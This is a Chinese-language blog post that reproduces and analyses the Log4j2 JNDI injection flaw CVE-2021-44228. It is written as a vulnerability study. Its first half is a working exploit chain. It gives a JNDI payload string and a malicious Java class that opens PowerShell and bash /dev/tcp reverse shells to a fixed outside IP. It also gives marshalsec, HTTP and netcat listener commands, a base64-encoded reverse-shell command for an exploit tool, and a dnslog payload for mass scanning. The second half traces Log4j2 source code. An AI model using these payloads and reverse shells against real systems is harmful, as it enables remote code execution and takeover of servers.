Apache Log4j2 CVE-2021-44228漏洞复现分析

前言

Log4j2是Java开发常用的日志框架,这次的漏洞是核弹级的,影响范围广,危害大,攻击手段简单,已知可能影响到的相关应用有

  1. Apache Solr
  2. Apache Flink
  3. Apache Druid
  4. Apache Struts2
  5. srping-boot-strater-log4j2
  6. ElasticSearch
  7. flume
  8. dubbo
  9. Redis
  10. logstash
  11. kafka

从使用场景上看,只要是通过log4j2记录日志时,记录的内容可控即可触发漏洞

 

 

 

(error可以、info不行,详见后续分析)

影响范围

  Apache Log4j2 2.0.0 ~ 2.15.0-rc1

漏洞复现

jdk版本要求

需要注意的有以下几点:

  1. 基于RMI的利用方式,JDK版本限制于6u1327u1318u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码

  2. 基于LDAP的利用方式,JDK版本限制于6u2117u2018u19111.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载

  3. 针对高版本的jdk,即使设置了

    1. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

    可能在利用时也会失败(vulfocus环境),具体原因未查明…表现是ldap接收到请求,但是没往http上重定向,但是本地是ok的

本地复现

使用idea构造一个测试项目,对于java的版本有要求,尽量使用jdk8u113之前jdk8版本(如果是仅测试ldap的注入,用191之前的版本即可)

maven导入相关jar包 

写一个测试类

  1. import org.apache.logging.log4j.LogManager;
  2. import org.apache.logging.log4j.Logger;
  3. public class Test {
  4. private static final Logger logger = LogManager.getLogger(Test.class);
  5. public static void main(String[] args) {
  6. // String payload = "${jndi:ldap://gi7r4l.dnslog.cn/xx}";
  7. // 高版本需要设置,rmi只需要把ldap改成rmi即可
  8. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  9. String payload = "${jndi:ldap://59.110.46.22:45708/RS45706}";
  10. // String payload = "${jndi:rmi://59.110.46.22:45708/Calc}";
  11. logger.error("{}", payload);
  12. logger.info("{}", payload);
  13. logger.info(payload);
  14. logger.error(payload);
  15. }
  16. }

准备一个恶意类,以下是弹计算器以及反弹shell的利用类

弹出计算器

  1. import java.io.IOException;
  2. public class Calc {
  3. static {
  4. try {
  5. Runtime.getRuntime().exec("calc");
  6. } catch (IOException e) {
  7. e.printStackTrace();
  8. }
  9. }
  10. public static void main(String[] args) throws IOException {
  11. Runtime.getRuntime().exec("calc");
  12. }
  13. }

反弹shell

  1. import java.io.IOException;
  2. /**
  3. * 反弹shell用类
  4. */
  5. public class RS45706 {
  6. static {
  7. // 静态块反弹shell
  8. // windows操作系统使用powershell反弹
  9. if(System.getProperties().getProperty("os.name").toLowerCase().contains("windows")) {
  10. String reverseShellW = "powershell -nop -c \"$client = New-Object Net.Sockets.TCPClient('59.110.46.22',45706);" +
  11. "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = " +
  12. "$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" +
  13. "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);" +
  14. "$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';" +
  15. "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);" +
  16. "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"";
  17. try {
  18. Runtime.getRuntime().exec(reverseShellW);
  19. } catch (IOException e) {
  20. e.printStackTrace();
  21. }
  22. } else {
  23. // bash -i >& /dev/tcp/59.110.46.22/45706 0>&1 linux反弹命令
  24. String reverseShellL = "bash -i >& /dev/tcp/59.110.46.22/45706 0>&1";
  25. String[] cmd = new String[]{"/bin/bash","-c",reverseShellL};
  26. try {
  27. Runtime.getRuntime().exec(cmd);
  28. } catch (IOException e) {
  29. e.printStackTrace();
  30. }
  31. }
  32. }
  33. public static void main(String[] args) {
  34. }
  35. }

在vps(或者是其他目标主机能访问到的机器)开启以下三个服务的端口监听

  1. ldap
  2. http
  3. nc
  1. ldap服务监听 
    这里使用的是github上的一个利用工具marshalsec

    1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://59.110.46.22:45707/#RS45706" 45708

    监听的端口为45708,指向的类设置成反弹shell的类 

  2. http服务监听 
    需要http访问的文件夹下需要放置刚刚编译好的恶意类,然后使用python快速启动一个http协议

    1. python3 -m http.server 45707
    2. python -m SimpleHTTPServer 45707
  3. nc监听反弹端口

    1. nc -lvvp 45706

准备工作做完后,直接运行测试类即可看到shell被反弹到我们的vps中 

靶场复现

靶场使用的是fofa的vulfocus

靶场搭建:

  1. docker run -d -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=your-ip vulfocus/vulfocus
  2. admin/admin

docker搭建完成后,直接访问ip:port,登陆后同步镜像 

然后找到log4j2的镜像启动 

对于靶场环境,无法直接使用本地环境的复现方式进行复现。原因未知,可能与spring的环境有关,需要深入进行研究

但是对于复现,可以使用github上的另一个工具JNDI-Injection-Exploit进行复现

使用方法

  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuNDYuMjIvNDU3MDYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 59.110.46.22
  2. -C 参数接的是执行的命令
  3. -A VPS-ip

这个工具会同时监听http、ldap与rmi,并生成payload

需要注意的是,只有

  1. Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
  2. rmi://59.110.46.22:1099/hh15oi

这个payload才可以

发送此payload即可反弹

poc批量扫描思路

针对该漏洞的快速验证,可以借助dnslog,在jndi被解析并触发ldap请求时,会请求dns的解析,这样就可以判断漏洞的存在性,poc如下

  1. ${jndi:ldap://baidu.l3bkhz.dnslog.cn/xx}

漏洞分析

这个漏洞是一个标准的JDNI注入,产生漏洞的原因是因为Context.lookup()的参数可控,导致程序请求攻击者的恶意服务器上的恶意类导致任意代码执行。

先定位一下调用栈 

我们需要捋清楚的是,我们传入的数据是如何通过logger.error(payload)最终传入到lookup()中的,需要看住的是我们传入的语句,即message变量

首先跟入error()方法,这里直接调用了logIfEnabled() 

在此方法中,会先判断isEnabled()为true才继续执行 

isEnabled()的判断是在AbstractLogger抽象类的子类Logger中做的 

跟进filter() 

这里先判断this.config.getFilter()是否为空,而且默认的config.Filter为空,所以不会进这里的if语句;然后后续的判断只要是level不为空而且this.intLevel只要大于等于log等级的intLevel就会返回true,所以只要是intLevel等级在200以下的都可以触发该漏洞,这类的方法有

  1. OFFFATALERROR

其余的无法触发 

接着向下跟入

  1. logMessage() -> logMessageSafely() -> logMessageTrackRecursion() -> tryLogMessage() -> Logger.log()

前面几个由于是单方法的层层传递,就不再跟入,只需要关注的是在logMessage()中将String类型的message封装到了Message类中即可,然后直接来到Logger.log()中 

这里判断this.privateConfig.loggerConfig.getReliabilityStrategy()获取的对象是否是LocationAwareReliabilityStrategy或其子类的实例

这里的strategy默认为DefaultReliabilityStrategy的对象实例,而DefaultReliabilityStrategy实现了LocationAwareReliabilityStrategy接口 

所以上述的if语句会返回true,进入89行,接着向下深入

  1. DefaultReliabilityStrategy.log() -> LoggerConfig.log()

这里的data参数为我们传入的语句,这里的this.propertiesRequireLookup在我们最开始直接获取Logger对象的时候默认设置为false 

然后设置props,此处为null

然后在第279行将messageprops等变量作为参数,创建了一个LogEvent类的对象,这里没什么好说的,重点是将我们传入的JNDI表达式(Message对象设置到了LogEvent.messageFormat和messageText中) 

然后接着跟入LoggerConfig.log() 

这里会判断一次isFilter()

AbstractFilterable类中filter会设置为null,而之前说的LoggerConfig作为其子类,默认调用的是无参构造方法,没有涉及到对filter的修改,所以此处的isFilter()判断必为false会进入295行的

  1. this.processLogEvent(event, predicate);

在上图的306行有一个if判断,这里是传入的ALL是绝对为true的 

在307行将event对象作为参数传进了callAppenders()方法中

这里有一个循环,但是我们重点是关注AppenderControl.callAppender()event做了什么,所以直接跟进358行callAppender()


在第44行会将event作为参数传入shouldSkip()中,只有以下三个函数全为false时才会进入45行的callAppenderPreventRecursion()

  1. isFilteredByAppenderControl() - 判断是否有filter过滤,默认为null,返回false
  2. isFilteredByLevel() - 判断是否通过level过滤,这里默认的levelALL,所以默认必然为false
  3. isRecursiveCall() - 判断是否递归调用-是则返回true

继续跟进

  1. callAppenderPreventRecursion() -> callAppender0()

这里的isFilteredByAppender()和之前isFilteredByAppenderControl()的逻辑类似,也是为了判断是否有filter过滤,默认为null,返回false

继续跟入

  1. tryCallAppender() -> AbstractOutputStreamAppender.append() -> tryAppend()

判断了一下Constants.ENABLE_DIRECT_ENCODERS的值,在初始化时静态块中设置为true 

跟入

  1. directEncodeEvent() -> PatternLayout.encode()

这里先判断this.eventSerializer是否是Serializer2的一个实例,但是在类声明时eventSerializer被声明成了Serializer的对象,在构造方法进行初始化时执行了这样一条语句

  1. this.eventSerializer = newSerializerBuilder().setConfiguration(config).setReplace(replace).setPatternSelector(patternSelector).setAlwaysWriteExceptions(alwaysWriteExceptions).setDisableAnsi(disableAnsi).setNoConsoleNoAnsi(noConsoleNoAnsi).setPattern(eventPattern).setDefaultPattern("%m%n").build();

其实只需要看看build()方法 

这个方法里出来第一块if分支,其余两个返回的类对象都同时实现了SerializerSerializer2,而pattern和defaultPattern都被设置了,所以肯定会进入encode()else分支

然后这里还有一个需要关注的,就是eventPattern它其实就是event序列化的格式,这个也被设置在了eventSerializer中被一起传入接下来的方法 


接下来跟进

  1. toText() -> PatternSerializer.toSerializable()
  2. 注:此处的PatternSerializerPatternLayout的内部类

406行的循环是一个重要的逻辑,最终的触发点也是在这个循环中产生的,这里的this.formatters其实就是刚刚看的eventSerializer的一个类属性,就结果来说,循环的每一次执行,就会向buffer里格式化填充一块数据,每次格式化的数据如下: 
(部分截图) 

需要说明的是,这里忽略了具体格式化时的逻辑,因为块数据格式化时使用的逻辑可能不同,而且与漏洞无关,重要的只有处理jndi表达式那块

在循环进行到第9次,即索引为8时,会来到漏洞触发的逻辑,继续跟入

  1. PatternFormatter.format() -> MessagePatternConverter.format()

这里首先会有一个类型判断,这里的msg是MutableLogEvent的实例,实现了LogEventReusableMessageParameterVisitable接口,ReusableMessage实现了StringBuilderFormattable接口,所以类型判断是通过的

在第106行会将toAppendTo设置给workingBuilder(默认情况,不做渲染,走false逻辑)

然后第107行的offset为偏移量,即从之前格式化的数据之后进行填充

然后重点看114行,这里先做了一个判断,判断config不为空,而且nolookups为false时,进入之后的逻辑

config的判断不需要关注,需要看看的是nolookups的判断

在初始化时noLookups的赋值为如下语句 

Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS默认为false 

后面noLookupsIdx >= 0的判断需要跟一下MessagePatternConverter的初始化。 

在初始化时会调用到两次MessagePatternConverter()构造方法,两次options[]都是空,那其实没必要深究了

回到

  1. MessagePatternConverter.format()

的第116行,这里开始对JDNI表达式进行处理了


直接跟进119行 

这里主要是关注我们的JNDI表达式(这里的source)的传递,这里通过字符串构造了一个StringBuilder的对象

  1. StrSubstitutor.replace() -> substitute() -> substitute()
  2. 注:上述第一个substitute为重载的方法,第二个为主要的处理逻辑

进入了substitute()发现它又臭又长,其主要作用是递归处理日志输入,转为对应的输出 
我们只需要重点关注针对buf的操作即可,针对buf的操作就只有330行else if这块


这里的逻辑是删除JNDI表达式中间的$,其实影响不到我们的注入语句,然后进入else分支

直接来到418行

  1. String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

说一下传入的参数

  1. varName - 抽取出的JNDI表达式`${}`中的内容
  2. startPos - 0 pos的初值
  3. pos - JNDI表达式总长的计数,我传入的payload此处值为41

跟入

  1. resolveVariable() -> resolver.lookup()

这里主要的逻辑是先找了一波:的位置,然后将jndi:后面的表达式取出,赋值给name,这里的StrLookup中包含了多种Lookup对象,可以通过前缀来确定使用哪种lookup 

最终跟入

  1. JndiLookup.lookup()



最后就是一路带进Context.lookup()里了

posted @ 2022-01-04 14:11  仰望飞鸟的鱼  阅读(1236)  评论(0编辑  收藏  举报